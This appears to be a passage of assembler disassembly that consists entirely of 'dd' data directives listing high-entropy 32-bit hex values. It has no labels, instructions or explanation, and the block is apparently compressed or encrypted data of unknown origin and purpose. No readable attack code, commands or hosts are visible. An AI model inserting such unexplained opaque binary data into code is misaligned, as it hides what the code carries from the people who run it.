		dd 88091335h, 0FED84638h, 0E8ADC436h, 132DE9A8h, 5729A975h
		dd 3025EBBFh, 0FBF6D704h, 28C51B03h, 7011E2DDh,	29592770h
		dd 89942FF7h, 7CED07Eh,	0E58046B5h, 9DF5334Bh, 85B90628h
		dd 0DCF6331Ch, 5F04D49Ah, 70EC0BC1h, 1FB2A72Ah,	2E8C109h
		dd 91BF0048h, 0FE77633Dh, 2A849D61h, 0AE0BC428h, 72817285h
		dd 92D304D8h, 7B4E7577h, 2F6BAA58h, 0A009F21Dh,	900552h
		dd 2D494D6Bh, 469A0E1Eh, 72039BEh, 5E1142F9h, 2A4AFAD7h
		dd 1EA50B97h, 525553E2h, 5EAC4586h, 47BE0550h, 182CBA5Ch
		dd 4E72FC02h, 6D6CABF9h, 9C6A2DE9h, 73AB5F2h, 0CF0D501Eh
		dd 0D7140h, 10AE6109h, 6A455B2Dh, 81C1BB4Ah, 5C02DCEDh
		dd 80DBEB40h, 0D5F6F4F3h, 5E5C000h, 0B050CDFEh,	0C5080060h
		dd 4DB35358h, 0AB98C380h, 3B380A20h, 4C982024h,	2DAD4C8Ch
		dd 9340290Fh, 89A26509h, 57F9AADh, 5B759F70h, 8FB5904Bh
		dd 894C8A60h, 4E2C2E28h, 21D6557Ah, 0FFEA0387h,	8CE2AF18h
		dd 80C9F95Fh, 6F7A2BE9h, 25B40169h, 5A4C0820h, 464E071Fh
		dd 0CED02ECFh, 7AB75139h, 8352B50Bh, 306E7E48h,	23FA38D0h
		dd 0C65602Fh, 3382117h,	3A4B8298h, 343E6743h, 6EFA187Ch
		dd 0E36816C1h, 48F25A0Ch, 0E5F3858h, 17BE523h, 3BDC09D3h
		dd 7E5A7E11h, 26C13A60h, 93FB5042h, 0BD59707Fh,	80CB417Ch
		dd 0D30A18DCh, 505F6251h, 0A3D58063h, 0B76F738Ch, 1339C579h
		dd 5F5CE813h, 0C7B3F937h, 0C531046Dh, 0FA129C34h, 0E91625E2h
		dd 0E6AEB4CCh, 1822EC8h, 0F01478BDh, 5104E90Eh,	7FAD66FFh
		dd 0F200DE1h, 0F15C58Ah, 738905B6h, 0AF238D2Dh,	820FD3CFh
		dd 726D6859h, 77AD6C22h, 0CD08DB59h, 21ED2F71h,	1162E984h
		dd 0F512FBB3h, 73C7E764h, 84FCCB5Fh, 15442C04h,	0ACFDAF7Fh
		dd 1F98EA92h, 0E15A3C6h, 0C3E7E921h, 6EF9E5DDh,	2ECA62h
		dd 892F8F68h, 8F8B6E31h, 922EF1DFh, 36E4641Bh, 4CDAB580h
		dd 0F81F673Eh, 0E907C150h, 8181315Fh, 0F9C91B2Ch, 53D05835h
		dd 0E02AF3B7h, 65F5A149h, 799B078Ch, 20B0C4FFh,	0BA05DB64h
		dd 414A03B9h, 73079801h, 0AA602E4Ch, 0D7B7DE31h, 0EB274D6Ch
		dd 72C8CF96h, 537F3CF3h, 0C4971473h, 70E0F0EEh,	9C5D9530h
		dd 8CF89C0Dh, 365F75E2h, 0B2DB440h, 0ED735DDh, 6520E4D0h
		dd 6850026Bh, 0BD5DB059h, 6C1FF50h, 92D8E9CBh, 0F60D8C6Bh
		dd 0BC5DBA40h, 9BC85A85h, 0E003828h, 7E2C10Dh, 2F79F281h
		dd 82774A4Bh, 5CC0E9A6h, 36DF2789h, 0EA5564E5h,	0D846195Bh
		dd 25E812DCh, 8177D029h, 1CECE909h, 0A7B72282h,	0C1FDC780h
		dd 473BAD55h, 604AE5D0h, 0F7DF876Fh, 0E908D362h, 5200C966h
		dd 50E29A3Bh, 80447EE9h, 374109C7h, 0E25F2923h,	0E9080164h
		dd 2765B367h, 4221ED2Fh, 50D85E6Bh, 515F01FEh, 0BA3E4468h
		dd 89142031h, 5A56749Fh, 0A587D657h, 0E343B9FDh, 0BB5D002Ah
		dd 74732E28h, 0E6A352B5h, 0D1D4012Dh, 0FE98B8Ch, 0C1DA5235h
		dd 74028C3h, 0E35E48AFh, 0FE1204A6h, 0F792407Ah, 81EDD1D5h
		dd 1DA8E53Fh, 0F5817340h, 3FE85CDAh, 792AA83Ah,	255A789Fh
		dd 5A54DDB9h, 492D246Fh, 5AF3AF12h, 8247EC4Fh, 0C59BFE9h
		dd 0F65FEF40h, 0B4D367AEh, 6345FA3Fh, 0A4035AD6h, 84E35C9Dh
		dd 0DC74B882h, 25BE0127h, 0A6B7FC68h, 0E62FA996h, 9059BDA5h
		dd 6C12ABACh, 57C218F8h, 9D55368h, 5858713Ch, 0A7926FE9h
		dd 502BE4C9h, 8D5495B4h, 907C5552h, 9F78A250h, 612D939Eh
		dd 107B4C58h, 5A261FE9h, 0A8823316h, 585E491Eh,	0A83EEDEDh
		dd 2D45B600h, 0A2FDB4B1h, 747AE978h, 0C1210EB8h, 0E8D3C5E5h
		dd 0E720C6ACh, 0C6800410h, 0BBF108D7h, 84915EC3h, 5B4017C1h
		dd 75BEBA00h, 29337A09h, 0CC85554h, 784B50E9h, 8881F0B5h
		dd 71F33B1Dh, 12DD4459h, 51ADB007h, 80BB792h, 0F81ADA54h
		dd 1E7609E3h, 0B0000D50h, 61CB4BD2h, 14EACFECh,	0D622742Eh
		dd 0EA96808h, 0FD4FEF31h, 0B7405B2Bh, 57EED001h, 2DEF7A4Fh
		dd 0F3D82B41h, 680F13BCh, 0EB48EE79h, 4B0C0108h, 214F100Dh
		dd 1D07D4FAh, 21687809h, 2D42666Eh, 0E7123EABh,	1C6DF45Dh
		dd 3CCB52E9h, 0C92D68E6h, 55ADC62Dh, 0FA83EFCAh, 2CA63369h
		dd 4E888E60h, 0BD64825Fh, 0C889C582h, 62D1A3A0h, 24C04A1Ah
		dd 0E3D2F624h, 4FA9012Dh, 0F8295549h, 0B3074405h, 354000F8h
		dd 1772F031h, 6AD32FE9h, 0BE006644h, 1B58439Dh,	25B9E681h
		dd 42D85063h, 10EC957Ch, 53BA86A0h, 0C734530h, 4E4D2220h
		dd 85A5018h, 2F140C68h,	849AB65Fh, 0B70F170Ch, 9866F3C8h
		dd 245ED4F4h, 2050A6Ch,	4E736983h, 0E14D2EFEh, 7442B74Dh
		dd 0E781008Bh, 53B0152h, 16F71967h, 41200630h, 5D7527E9h
		dd 0E2B2BEA7h, 0EE647D97h, 6E90880h, 35264566h,	4E6E3A2Eh
		dd 0FC9C9AB4h, 0B0AC40B8h, 8F169B1Eh, 0DBFBC593h, 84E91F1Dh
		dd 515FAA5h, 0CD90D3C1h, 0FB8BC5B1h, 0FBB1CA4h,	0C8AB6BACh
		dd 0EA2ADE8Ch, 57565513h, 0AF2BC0Fh, 7A2008C2h,	87071829h
		dd 0E20F0212h, 501D6BABh, 727995E6h, 0E9DD2249h, 0BF0A68F7h
		dd 0AA54095Ch, 0DFD4705h, 11EC6039h, 60090D4Dh,	860B10BEh
		dd 7E2D52D6h, 0E9FE0B8Eh, 0E7459498h, 9A85772Dh, 6F84EB54h
		dd 5F15DAFAh, 455CCE01h, 26604FCFh, 0CB8080CEh,	7E061E65h
		dd 43A81EFAh, 0CDE9BFC3h, 680C228Eh, 36CA1A75h,	0A3935BEFh
		dd 0DC121004h, 1682F660h, 0F6A065B1h, 1824754Eh, 8485E70h
		dd 241CFF27h, 0E53BE916h, 1001CBABh, 523B8322h,	0C660FD27h
		dd 1997E288h, 84602C4Ah, 0B26818D0h, 0C748397Eh, 33684082h
		dd 0F14E956Eh, 183896BFh, 2B8876E9h, 3F31D8C1h,	106D1666h
		dd 8BB4F23Bh, 57EDDD52h, 0E9CA2907h, 59EFA49Bh,	2EDDC0FEh
		dd 9DF82678h, 0B9950097h, 0F9D72AC1h, 1221802Ah, 0DAB75371h
		dd 510882BEh, 37EAAFA3h, 97841C09h, 9840BC11h, 806293B0h
		dd 97F28BDh, 63C05A4Bh,	16CD814Dh, 0BFAA2587h, 358B7403h
		dd 0CEACB5FAh, 0CB6FAD4Fh, 4916B95Eh, 0B4BFA914h, 11DDE91h
		dd 2791F32Ah, 6344F150h, 6D4E2CA3h, 671081E2h, 0EBB807A1h
		dd 35B3A851h, 500B02EFh, 0A288E959h, 0D969AEFAh, 12B4F4FDh
		dd 0BBEDC409h, 474D65E6h, 5E54C706h, 7FBC7803h,	7CAD563Ch
		dd 0AF1D8C5Fh, 6666AB4Bh, 3473973Eh, 0A953E909h, 841E7F75h
		dd 488F8B1h, 9F401DAEh,	97546CAAh, 0DB60FBF2h, 16C41ACDh
		dd 0E1B5E96Bh, 209C6BA8h, 0B5D6FC51h, 8248E004h, 8000704Ah
		dd 0E0861EAh, 12C5AD0h,	0C230DF42h, 7627297Ch, 7EE9610Ch
		dd 6A8E2B0Dh, 7838B800h, 3EE945C6h, 7FCB3555h, 0AF97E8A8h
		dd 0F351F238h, 0A2D7F239h, 8BBBD223h, 5D2C256Eh, 0EEC0C992h
		dd 3E184AEAh, 9A667C60h, 2A0C2577h, 883E27Ah, 5D141C40h
		dd 2661A29Fh, 241B508Eh, 1B8C301h, 49B756EFh, 2829E568h
		dd 0BB079205h, 0C151B63h, 728E6180h, 0F15A4E0Fh, 0DDB9D552h
		dd 0BD166E91h, 25CB08h,	6858E588h, 26A84BE3h, 8007B6B7h
		dd 0FD28D2EDh, 4CECC554h, 0C304305Bh, 0C3924F4Ch, 0EFE0075Bh
		dd 0FA2412C7h, 237FD1Dh, 0AE9E70F5h, 766D5538h,	0E9E83001h
		dd 823DDAC5h, 9DB2BCD6h, 4363E944h, 9A6B41BFh, 6C67E072h
		dd 38D040DAh, 2BBAD713h, 967D10AAh, 0C75D5826h,	455A9981h
		dd 2FEF709Dh, 95E6F1AEh, 0F28320h, 559DBB53h, 0DD213B38h
		dd 476770FAh, 5AC1F145h
		dd 86806818h, 637F2B25h, 7964F3E9h, 0C581B43Ch,	0E36A7651h
		dd 0DC2F1336h, 48F7C9AEh, 5714FB83h, 0ED71248h,	6EA7533Eh
		dd 63823847h, 14A9303Fh, 0FE4BB1B8h, 0CB031776h, 701F614Eh
		dd 0F00E0043h, 0E941BB5Fh, 91B14DD1h, 0CC57769h, 664CAD3Eh
		dd 0BD3F6212h, 0C6F48068h, 632D9A6Ah, 648EA95Ch, 0E5DD0AA5h
		dd 0DE688961h, 228CB1D7h, 0E8EB162Fh, 80AAA567h, 0A5A0E979h
		dd 8482C7B4h, 0F03F7173h, 682D0702h, 5101C92Eh,	0F2A622F6h
		dd 427057h, 0BC191ECDh,	78685713h, 9EE6CBDh, 303D2943h
		dd 6EB07070h, 0C587F862h, 0A404C001h, 27482605h, 0A185163Ch
		dd 0E3A22B2Bh, 6A52E9B0h, 0EA42AAB4h, 3534F50Fh, 50FD74BFh
		dd 0B4C05550h, 171572B4h, 0EFB030E9h, 9677F181h, 0E2F59B27h
		dd 55856235h, 0D15BF9E8h, 0DDF7ED12h, 1713AA13h, 9F3B03A1h
		dd 6EBE02AAh, 0F60E520Dh, 0E9090E2Bh, 0C8CB523Eh, 4B0968DEh
		dd 0FE692058h, 0BEE9703Ch, 5045740Bh, 468AFF49h, 3213074Dh
		dd 84E55F5Dh, 5121BEAFh, 0C2077133h, 0A2D56377h, 0B889D4Ah
		dd 444FA254h, 47AEE037h, 94ED2B4h, 0F8ACEC5Fh, 6DEBF3Ah
		dd 89EAB88Fh, 3C7EF2AEh, 7D31A4F3h, 3B145FD4h, 5604F88Ah
		dd 0E87C3C68h, 9A1DC4C4h, 0BCF94F0Fh, 5DE32EAEh, 5F680661h
		dd 541A5257h, 0B19FCFE1h, 6E7B5236h, 1313317Eh,	0CB1D2897h
		dd 4FE450F9h, 19E7E65Fh, 5E13F021h, 0F2A5F128h,	0C6A297AAh
		dd 0F8348B12h, 0FDAEB4BBh, 4FC95E29h, 15FD0896h, 58317BF8h
		dd 0D532945Ah, 0EFC6302Ch, 0E87C220Bh, 40CA7D01h, 78EACE80h
		dd 81026121h, 1C6589CAh, 6AC0DF37h, 0D0063C92h,	671BE99Fh
		dd 7509A0A2h, 0C42B60A4h, 54592521h, 65F33125h,	2C2DBDAEh
		dd 0D3C219D9h, 88D37FAEh, 0D1EE8100h, 0B5575264h, 808696Ah
		dd 277A18E0h, 6D2CA7EDh, 0C501CDD0h, 6AC0771Bh,	9094137Ah
		dd 45DAE9CFh, 95C36880h, 5B1F4DC6h, 0D6EFF75Ah,	0E7EB003Ah
		dd 5A39A2Fh, 38279772h,	20B4780Dh, 5190404Eh, 9A5ADE09h
		dd 0A8228069h, 312A977Eh, 0E904D6F7h, 0DB907E1Eh, 909AB252h
		dd 0D51769B4h, 0B108BE5Eh, 0EA01166Ah, 3357BD20h, 602A6016h
		dd 7B396F02h, 0AB78E917h, 135A3188h, 0FF5B900Ch, 4E10F2CFh
		dd 6A5026A0h, 469AA08h,	0EA3E8E68h, 71DA278Ch, 212F2D76h
		dd 5F27C05Bh, 0F735CFA0h, 714B3D3Bh, 2F3EC8BBh,	0C2D29EAAh
		dd 5609C45Fh, 40657F5Eh, 5E2E16Fh, 7670D2F7h, 3D8D26FBh
		dd 0A8C3137Fh, 65FE5A65h, 662CEE14h, 2DE24098h,	1E016109h
		dd 0DE1B0B26h, 0A5721D09h, 13D86BFDh, 14685D0Bh, 5FD6D6AAh
		dd 27EFDBF8h, 7DFFE9A0h, 99B6B49Dh, 0AC0C1681h,	0B00BA1C2h
		dd 0EBDF353Fh, 0E90E81E6h, 0EA1609F0h, 2F5CB32Ch, 0B287E9F6h
		dd 8C2D52CCh, 59CE2900h, 0F6810046h, 0F0A4D2A0h, 71F3405h
		dd 0A8FB7956h, 5E48072Dh, 55510076h, 935CA868h,	0DA5D6933h
		dd 2AC69180h, 0E978487Fh, 0D3B72D70h, 7B222551h, 0E9C9D774h
		dd 391A30F2h, 51AF22B3h, 556AB8h, 177E378Ch, 7F008E05h
		dd 2D486F0Dh, 5E8BB715h, 5A55FC86h, 5849F4F3h, 64027D4Ch
		dd 5F627417h, 0B84C44FDh, 439120E1h, 815E597Dh,	0BDC5D7E4h
		dd 0F0E6E56h, 672E1C9Ah, 13793558h, 0BC719E64h,	8022B1FEh
		dd 6CB15503h, 0C2F19AC0h, 0F3AAF564h, 2F80225h,	92601B52h
		dd 0ED2F5914h, 0AA77084Fh, 2F2001BCh, 0EA290BDEh, 557DA96Ah
		dd 0F43D6B81h, 7C6392D7h, 3BE18248h, 9FD7DEDh, 62ECD98Bh
		dd 35FE78C7h, 0D41C7F60h, 0EC5A4F5Eh, 0E06F0B8Ch, 80CB0019h
		dd 4B3B5F58h, 5CD8FF49h, 4B3D12BAh, 16421F16h, 2AF6626Bh
		dd 15A5B3AEh, 444BB11h,	0BF00B010h, 0DF23177Dh,	0F07B6997h
		dd 0A3500071h, 1805B66h, 0F5887AEEh, 6FE8305Ah,	0E9B000BCh
		dd 35CE8605h, 5E5575Ah,	17D7121h, 4AB79254h, 0FA9CEB9Fh
		dd 0B8A340CAh, 1C60B90Bh, 127FE72h, 9AE6351h, 0DAC07A40h
		dd 41DC1D67h, 0D1B00089h, 195A8DE9h, 38845084h,	872DC8FCh
		dd 0FD8ACBF6h, 3CF959Ch, 0EF2EB559h, 0B701AC34h, 92CFFE78h
		dd 0F7DC8B2Ch, 8961B951h, 907C7AA0h, 3B3F6861h,	5142CC6Ah
		dd 0B645B109h, 89857763h, 0B9BDD8DBh, 4B7EDC0Bh, 9AFF800Bh
		dd 0EC29D24Dh, 7C8E01C9h, 27E92D70h, 51413B2Eh,	6535780Ah
		dd 994A6B60h, 0E03E6449h, 0D82529DDh, 2409DF2Dh, 6B00607Eh
		dd 0F055A77h, 58E00542h, 162DE829h, 3F88AA07h, 54142DE9h
		dd 4E5B7A48h, 965176EEh, 0C7C0CEC1h, 0DF3E228Bh, 5250801Fh
		dd 0F1337C68h, 0D9AEC95Ah, 0E258B02Bh, 34220504h, 4D95942h
		dd 95FF2A60h, 0D655A142h, 48E98509h, 0D34EB86Eh, 0EA2F7189h
		dd 0AF233F69h, 95363896h, 770D1F6Bh, 589B2B02h,	289EF071h
		dd 26E7EA5h, 0D6F6CEFEh, 39B5A7C0h, 59E88809h, 62DA0A30h
		dd 7F245E3Ch, 0FCA03082h, 3504C965h, 5F8FA8E7h,	893238BBh
		dd 0C3D9434Ah, 0BD7D67E8h, 0C988646h, 53274796h, 7F264C36h
		dd 84AD974Fh, 9189A87h,	2799CC7Fh, 0F127060h, 53CCFE55h
		dd 0D759A12Dh, 0C0B0E81Ch, 0F66A2095h, 390D5EDCh, 0F34F680Bh
		dd 58565022h, 327F1B02h, 242BDFE9h, 98F1EAC5h, 4091FF20h
		dd 5190AD86h, 0C9517309h, 87E30049h, 0E7281F09h, 2FE92460h
		dd 496839F3h, 61827D27h, 0E9523F13h, 355B555Eh,	744E8CA0h
		dd 0A76C73A1h, 74549F1h, 7A57284Dh, 0FC484FB2h,	84D8EA9Eh
		dd 0C5E9D588h, 102FADE1h, 0BB0E6E7Eh, 502479F8h, 53948393h
		dd 1FF9C1ADh, 86EA0420h, 748B22Fh, 308CDE71h, 9BE1099h
		dd 3AC4549Bh, 0E60565D0h, 9675108h, 789EB400h, 37E96CA7h
		dd 0CEB33BCEh, 546286E2h, 0AA2A8B83h, 3721FD5Ah, 0B23BA0EBh
		dd 2FB9059h, 61373C21h,	4E53D549h, 1F357101h, 0F0BD2947h
		dd 970A042Ah, 3D7A700Fh, 12EF8BD5h, 2EE74415h, 97368E77h
		dd 0D376B8C5h, 8A6ED3C8h, 96D59760h, 2529AD29h,	565EA32Ah
		dd 502323FBh, 91ECD0DBh, 9C76C0h, 9706EDC1h, 539FCDFCh
		dd 9B54BAE8h, 3509BFCAh, 0B9EFBEh, 8B0C182Ah, 0D8F72665h
		dd 756A1071h, 0E2FD74D6h, 0CC61BF12h, 0FE94C7EDh, 0A026752Dh
		dd 0F2BF2F0Dh, 0A97549D1h, 8241874Eh, 85F48C6Bh, 1C36246Fh
		dd 95ECE0D4h, 0AD1B1585h, 0D188F51Ah, 95AC6157h, 6B1C8BDAh
		dd 788578A3h, 97DAB3ABh, 6854CCAFh, 722D542Ah, 314B30F0h
		dd 4A51134h, 515EF5E0h,	6AF09E55h, 2D1E0107h, 0C86DF9CFh
		dd 0E8843048h, 11437582h, 93F2063Dh, 878CB1E4h,	0F68A4A32h
		dd 8EAA978Ch, 135B20C0h, 0A56FB01h, 0A72A71B1h,	0C60B1856h
		dd 0C22C0908h, 0E0178E07h, 0E9490731h, 0F599523h, 53966805h
		dd 0FB2475A3h, 0D80984C2h, 7AA4BF5Bh, 2B980BBBh, 3DDE6FFAh
		dd 12D98E08h, 9BA6FE5Eh, 0E15ED2D0h, 0CC2C2B52h, 0F62E4E63h
		dd 54BE4BACh, 7000C639h, 294A7B79h, 0FAE659CFh,	0EC95EDACh
		dd 0BC52D747h, 61B8B560h, 7CA6E9E1h, 2FBA4E38h,	20F04899h
		dd 2D87A1D7h, 89D0747Ch, 88A6044Eh, 0DD81EAFCh,	0CA2066E7h
		dd 378D62BFh, 450F1C28h, 28AF88D0h, 5360D87Dh, 0D36CE8F8h
		dd 82BB077Bh, 0E19211B3h, 3E46E9CBh, 1F687602h,	62785C60h
		dd 0C12FAC78h, 12947F02h, 92F367ECh, 7B21B016h,	30518125h
		dd 0E0B553D6h, 0BE935BDCh, 0B37DEFEEh, 3DA80E1h, 73A161F5h
		dd 4D87AC74h, 66D3FE34h, 75312AA5h, 5A5B7872h, 51E4820h
		dd 0C17C302Eh, 95BE0DE5h, 21AE2AC9h, 759EEB2h, 5667DDFEh
		dd 0A2F5E9EBh, 0F7DC4FB2h
		dd 0C8D5641Ah, 4685532h, 4DAB1387h, 92ECBF5Dh, 4850E4D9h
		dd 684251F6h, 7402592Fh, 0C44E493Bh, 29EA43D2h,	43422B51h
		dd 5D6CAB68h, 0E916671Eh, 0EAA8A133h, 1D9CE2E7h, 6AF040E6h
		dd 4FD4C1AAh, 3C9E058Ch, 4FE002Ch, 0A9B353AEh, 5267EB80h
		dd 0F360E406h, 4A8BE9E6h, 0C96BE654h, 4034A5D3h, 0DD53A94Bh
		dd 0FE5B62A0h, 0EF2D80C7h, 0A0A1D5E5h, 421C5F21h, 914A3E44h
		dd 5179ABD0h, 578FEF2Dh, 53D6E7ACh, 7604516h, 85450BAh
		dd 0D784E24Ch, 5355091Bh, 0C2A717B9h, 29D505DAh, 25765380h
		dd 0A5396CFEh, 2F70E502h, 77F7A3DDh, 2A5F76A0h,	0CEAAD0Ch
		dd 0D028512Ch, 89B54AB5h, 0FE717D32h, 9716D0CAh, 66427321h
		dd 4EF5DA3Eh, 4DEC31AAh, 0F9DC2456h, 5C9AD3EEh,	0F02EDEB7h
		dd 0ADBAC9E9h, 0EE3C5795h, 0A4B0E924h, 98BD5E93h, 88FB7600h
		dd 59CD0146h, 58DA5E9Fh, 0DB9D2153h, 0BEFE2785h, 2E175212h
		dd 0DFEDD492h, 0F2DE464h, 66165495h, 282C572Dh,	2538E5F3h
		dd 40161C2Fh, 13B20AEEh, 656FC3B4h, 0B58CCF7h, 3F2BDF38h
		dd 411A1707h, 0BDD81C8Ah, 7E2F5D9Dh, 53A419A5h,	3B5531Bh
		dd 554B68B4h, 0E3F3E9F9h, 0A0E7C502h, 0C10DC634h, 4BF0A372h
		dd 1FD3A07Eh, 8A912485h, 94E90455h, 0C367D136h,	53EA3A25h
		dd 9910C0D5h, 6B5CF42Dh, 5C4B123Fh, 89675E3h, 0BD011957h
		dd 70094B23h, 0A59DC96Bh, 10FFFA2h, 160AAC66h, 27B15A48h
		dd 52BD5424h, 303B8Eh, 5FD4BB53h, 24F769ADh, 3E743D3h
		dd 3435085Ah, 94305804h, 0D9A8B4EAh, 8F5DBE65h,	9AB300A9h
		dd 0E94ECB80h, 0BBBF5B54h, 41378F3Ch, 37673F57h, 485FBAC2h
		dd 2F071CCCh, 6D70376Eh, 0C2400782h, 43B26D84h,	0D23CE60Fh
		dd 9E8B7D40h, 0D549314Ch, 0C53ED357h, 0B7AEE68Fh, 0DF552DA5h
		dd 68174B9Ch, 0BD3779A6h, 7720E635h, 9DF069E9h,	0F4A79B59h
		dd 0FCD1AD9Fh, 8597D564h, 6F57C9B0h, 8720033Ah,	31DEF7F1h
		dd 8CE26A7h, 456E92Ch, 3853AD8Ah, 0FFA30E62h, 0C203DDA4h
		dd 8EF9A76Ch, 0EFFDE25h, 0B480A5B2h, 58E230B3h,	4083DF95h
		dd 0C29945F2h, 0A7C9DBA0h, 0F9C22E88h, 7710E2C3h, 7A3E3249h
		dd 0B80EEBE0h, 34734A26h, 48E1A695h, 0B9B64ABEh, 0FB4F9748h
		dd 0C3449364h, 0A2FFA5F6h, 91FFD34Bh, 7A887Bh, 0E120EC80h
		dd 9D16BCB2h, 0BA68D3A0h, 3EEB4718h, 504ECA0h, 2979056Ch
		dd 0BA2DFBEFh, 2634BAECh, 7E174F5h, 82715F03h, 76C1F701h
		dd 96B0223Ah, 0E75CBEAh, 28FF55E6h, 1E123C8Bh, 7BBDB3A5h
		dd 39CAAA5Fh, 2D89DA27h, 0CF956355h, 0C3CAC289h, 94EA9521h
		dd 0D5B7ABDAh, 0B4614D12h, 3E5ADC36h, 524469B0h, 151543A7h
		dd 0C7389698h, 0BF82C13h, 5890ABAAh, 2F0F5312h,	0A9FB311Eh
		dd 2D2E5h, 1035D0F7h, 25521857h, 36C5E1Dh, 402D1832h, 5B792191h
		dd 0F67D0731h, 0A054C0B1h, 6EB0F389h, 0DF2D9D94h, 5F946F96h
		dd 7C3225BDh, 178BE480h, 0ECA5B7F9h, 2546CA4Dh,	2870E108h
		dd 78BC6B89h, 2C622A7Dh, 2941688Bh, 0D8657F24h,	0DC027549h
		dd 500054B7h, 7D3268h, 2D585AADh, 2AE20B64h, 7E0C112h
		dd 58A09CEBh, 42413500h, 0B6E966FAh, 665D694h, 9E677FDCh
		dd 2C4F6812h, 34C9EEE2h, 0A81E67DFh, 5BEC0742h,	6B011CF4h
		dd 16086088h, 0AF01BB58h, 56E477A8h, 60596330h,	0EEC33936h
		dd 574FD418h, 92E03BF0h, 2140BDC6h, 749F995Eh, 0A4C1E4A3h
		dd 6240CD1Dh, 13705EE9h, 0C054ED7Fh, 26E30EBDh,	0FEC030E9h
		dd 0B24BB322h, 9784BB4Ah, 777F2A82h, 3164D578h,	2FC14110h
		dd 0BF388823h, 43BBC515h, 403AD39Eh, 5BC33508h,	681622B3h
		dd 0FBCC655Dh, 5F1F12FCh, 0AD47A14Ch, 1F47540Dh, 3A369EDh
		dd 11696066h, 2E6C97D9h, 215A7242h, 1E1A57D9h, 0E92AF34Ch
		dd 0F7AED4CEh, 886BD69Fh, 0CF2853EBh, 0AA245678h, 9C97D9Dh
		dd 317FA321h, 68D690F2h, 5F5167E4h, 0A424B8C5h,	87EBE112h
		dd 0A9165811h, 0B3FAC1EBh, 0D8F700ABh, 4F96F055h, 4221EAAFh
		dd 0B63E60BBh, 0EFA0716h, 0AD71452h, 7D3A3992h,	3E10C563h
		dd 81017287h, 0E51125E3h, 83112054h, 0F4361912h, 492D99A8h
		dd 0F96E71FEh, 6D286C76h, 0D01AF97h, 638E0EF0h,	95092CBCh
		dd 78784DF3h, 0F41D6827h, 13A56867h, 0D47AFC58h, 0A7D5C81Ah
		dd 6148C6E0h, 5AB05CBDh, 71DEDAF7h, 79808270h, 740C266Fh
		dd 1D83C198h, 40A6CB0h,	9F4D337Bh, 77052546h, 6C026867h
		dd 0DD6BBC11h, 5BCC1C30h, 4AF75180h, 0B46EFC1Ch, 1FDE34BEh
		dd 66948487h, 0CD5FA130h, 0D49C6EFEh, 3DA249D3h, 844EF5Ah
		dd 35007C23h, 5B73F430h, 0F72578BEh, 1D77806Ah,	89550574h
		dd 3C46AEDDh, 0C05AFAF2h, 583CCE9Ch, 0CD612128h, 8706E9CBh
		dd 2B976800h, 44F0E9Ch,	3DEC59C0h, 7F65E9F0h, 1022BE81h
		dd 1926FF4Eh, 97ADB278h, 2D583675h, 9F92021Dh, 8F7F5A02h
		dd 5AB9D45Dh, 4A7B4257h, 3F24D507h, 0B15DECFEh,	0DA7E4221h
		dd 24AE5AAAh, 81B7EBF7h, 5E00224Fh, 0B2EC23FDh,	705B7932h
		dd 5D5CBF1Fh, 22F6D3D9h, 0E02151DDh, 0E3D0503h,	1E354801h
		dd 0E9CA7CB6h, 0DBAC48C6h, 0FEA7F954h, 8D5FF3EEh, 4BE7218Ch
		dd 27EEF479h, 0FE525F4Fh, 7968ED21h, 0B57F17A8h, 0A1BA8A00h
		dd 414BDC9Bh, 312EFDF8h, 36E12FE5h, 0B3D02443h,	0B0506C03h
		dd 0E6E52410h, 6D989DE6h, 0B18B551h, 8004DDF6h,	44B24FE5h
		dd 6D1405h, 2F551EBFh, 0B529F454h, 5C51490Bh, 0C56AF669h
		dd 80FEB0E7h, 766C22Ch,	2CB7D1Eh, 8239515Ch, 368D0C1Dh
		dd 4CB4D540h, 217E910Bh, 3B1A03D7h, 0D12D391Ch,	84DEA05Ah
		dd 0E3349C4Bh, 0E9B6E8EAh, 50D9A5FEh, 0E65032FEh, 705DC069h
		dd 7A133699h, 0A5BD3866h, 0EA72B101h, 197C0152h, 2830C05h
		dd 0A1404A7Bh, 86F02EF6h, 0BCF04F30h, 60EBA495h, 0C38853CCh
		dd 0F4A87BE5h, 72E0FEA5h, 83E980CFh, 0CCBC574Ah, 34E0F5E1h
		dd 3517C380h, 0E213E24Ch, 0FFD65509h, 77A5E4E5h, 72E9BD10h
		dd 80A25E4Ah, 0CE090C88h, 0F8B05D05h, 2D2C31B2h, 0A6032F5Eh
		dd 0B0194923h, 2D036ECBh, 1CD45385h, 0F6AEC982h, 20CFD864h
		dd 1AC09847h, 715C2907h, 4CF35801h, 615E0840h, 28E98233h
		dd 5FB36B45h, 95F0E2DDh, 2139F681h, 4E501610h, 951FF6F4h
		dd 56808975h, 776ACEh, 2854B267h, 382DE9EAh, 0D654A019h
		dd 973EAE17h, 0B87E88D8h, 928122Dh, 0F41657F5h,	0FE5A770Bh
		dd 28005F28h, 1E0C4CAFh, 0DE5E0CC2h, 5CB6C235h,	0D5D90B87h
		dd 91133A77h, 5D291CB2h, 6852E005h, 0AB1FC83Ch,	0CC46255Ah
		dd 3FC36602h, 4213FDB2h, 7940E91Dh, 280F7300h, 0FC685553h
		dd 0AF5F5E5Ah, 8DE01344h, 2AD2A718h, 0CA79222Dh, 5E0805DFh
		dd 0F6F166EBh, 0F9CF14B5h, 0FCC25FEBh, 846D48A3h, 5903824Ah
		dd 0BAF5E8C1h, 0A08323B5h, 9971F8Fh, 3EAA69D9h,	0C6B32177h
		dd 0F2CD1D18h, 0FCEE9766h, 9D5041Ah, 7880486Dh,	6044E4CFh
		dd 207EC439h, 12E11C6h,	0F301FDD5h, 2D217375h, 4EAD55D0h
		dd 0E96A810Fh, 0CFF57FF7h, 0F23DE43Dh, 869BDE9Ah, 68BC01F7h
		dd 8B8B60AAh, 325FB0A7h, 7736C20Eh, 26D27EABh, 0EBDBD660h
		dd 5E795FAAh, 6C41AA2Ah, 679269DAh, 26CF3FCh, 0E9752555h
		dd 3C6A6E30h, 3570FB10h, 6B3AD19Dh, 1668147Fh, 89FE9BE9h
		dd 6B9F2187h, 13C3F0B0h, 0BF1AEB80h, 2FE90388h,	662D1C15h
		dd 3945D330h, 90017C08h, 28680906h, 0E9311018h,	0E35D5FECh
		dd 0C5F8181Bh
		dd 13B7C3F5h, 0B4B4830h, 6BF041C6h, 48F5817h, 11527ECBh
		dd 1BEB2210h, 0C904D7F7h, 806578D5h, 0A046AC2Ah, 0A007E3C1h
		dd 3F0F54A3h, 0EE82456Bh, 188216CCh, 0C657E155h, 11B40845h
		dd 0FDB1F191h, 0D4124E1Eh, 260E6C1h, 89B4F612h,	56C42968h
